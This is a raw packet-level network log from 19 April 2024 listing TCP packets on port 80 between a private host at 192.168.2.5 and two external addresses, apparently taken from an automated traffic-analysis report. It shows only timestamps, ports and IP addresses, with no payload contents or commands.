Apr 19, 2024 03:29:05.557553053 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.557570934 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.557590008 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.557607889 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.557626963 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.557646990 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.557662964 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.557672977 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.557699919 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.557733059 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.557739019 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.557755947 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.557776928 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.557801008 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.557813883 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.557827950 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.557852030 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.557869911 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.557889938 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.557907104 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.557926893 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.557945013 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.557966948 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.557991982 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558005095 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558012009 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558043957 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558060884 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558079004 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558099985 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558115959 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558130980 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558168888 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558185101 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558204889 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558228016 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558242083 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558254957 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558279991 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558298111 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558316946 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558348894 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558356047 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558373928 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558393002 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558408976 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558429956 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558449030 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558468103 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558487892 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558511972 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558527946 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558549881 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558569908 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558587074 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558603048 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558624983 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558644056 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558660984 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558675051 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558697939 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558715105 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558742046 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558770895 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558780909 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558798075 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558818102 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558837891 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558842897 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558861017 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558872938 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558878899 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558896065 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558897972 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558912992 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558926105 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558931112 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558948994 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558967113 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558969975 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.558984041 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.558998108 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.559000969 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559016943 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559034109 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559051037 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559051037 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.559067965 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559084892 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559087992 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.559103012 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559120893 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559138060 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.559138060 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559154987 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559164047 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.559171915 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559189081 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559195995 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.559209108 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559218884 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.559226990 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559243917 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559258938 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.559261084 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559278965 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559297085 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559298038 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.559314966 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559322119 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.559333086 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559349060 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.559349060 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559367895 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559385061 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559386015 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.559401989 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559418917 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559431076 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.559436083 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559453011 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559457064 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.559470892 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559488058 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559505939 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559521914 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559524059 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.559540987 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559559107 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559564114 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.559576035 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559587955 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.559593916 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559611082 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559623957 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.559627056 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559643030 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.559669971 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.559695959 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.791043997 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.791112900 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.791155100 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.791193008 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.791233063 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.791270018 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.791280031 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.791307926 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.791346073 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.791347980 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.791376114 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.791384935 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.791414976 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.791424990 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.791441917 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.791544914 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.797316074 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.797382116 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.797419071 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.797421932 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.797446012 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.797461987 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.797473907 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.797554016 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.797597885 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.797619104 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.797638893 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.797656059 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.797678947 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.797693014 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.797720909 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.797736883 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.797764063 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.797777891 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.797805071 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.797821999 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.797842979 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.797861099 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.797880888 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.797894955 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.797926903 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.797929049 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.797966957 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.797979116 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.798005104 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.798015118 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.798043966 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.798063993 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.798082113 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.798098087 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.798121929 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.798132896 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.798165083 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.798173904 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.798202991 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.798216105 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.798243046 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.798258066 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.798280954 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.798291922 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.798368931 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.798384905 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.798408031 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.798418999 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.798448086 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.798460007 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.798486948 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.798502922 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.798525095 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.798536062 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.798563957 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.798582077 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.798602104 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.798614979 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.798656940 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.802860975 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.802933931 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.803471088 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.803536892 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.803543091 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.803577900 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.803589106 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.803617001 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.803632975 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.803658009 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.803667068 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.803698063 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.803714991 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.803740978 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.803750992 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.803781033 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.803801060 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.803818941 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.803831100 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.803858042 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.803870916 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.803900003 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.803910017 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.803951025 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.804950953 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.804994106 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805023909 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.805036068 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805054903 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.805078030 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805093050 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.805116892 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805154085 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805190086 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805224895 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.805228949 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805268049 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805305004 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805344105 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805381060 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805382967 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.805419922 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805422068 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.805457115 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805458069 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.805480957 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.805494070 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805510044 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.805533886 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805571079 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805588007 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.805609941 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805623055 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.805648088 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805665970 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.805685997 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805722952 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805747986 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.805747986 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.805762053 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805773973 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.805799961 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805830002 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.805836916 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805851936 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.805877924 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805913925 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805942059 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.805949926 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.805969954 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.805985928 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806005955 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806024075 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806041002 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806062937 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806077957 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806101084 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806116104 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806138992 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806153059 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806175947 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806191921 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806215048 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806232929 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806252956 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806267023 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806289911 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806307077 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806327105 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806344986 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806364059 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806382895 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806402922 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806420088 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806440115 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806458950 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806478024 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806490898 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806518078 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806534052 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806557894 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806575060 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806596994 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806611061 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806634903 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806651115 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806672096 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806699991 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806711912 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806727886 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806754112 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806768894 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806792974 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806811094 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806830883 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806849003 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806868076 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.806888103 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.806922913 CEST	80	49714	193.233.132.56	192.168.2.5
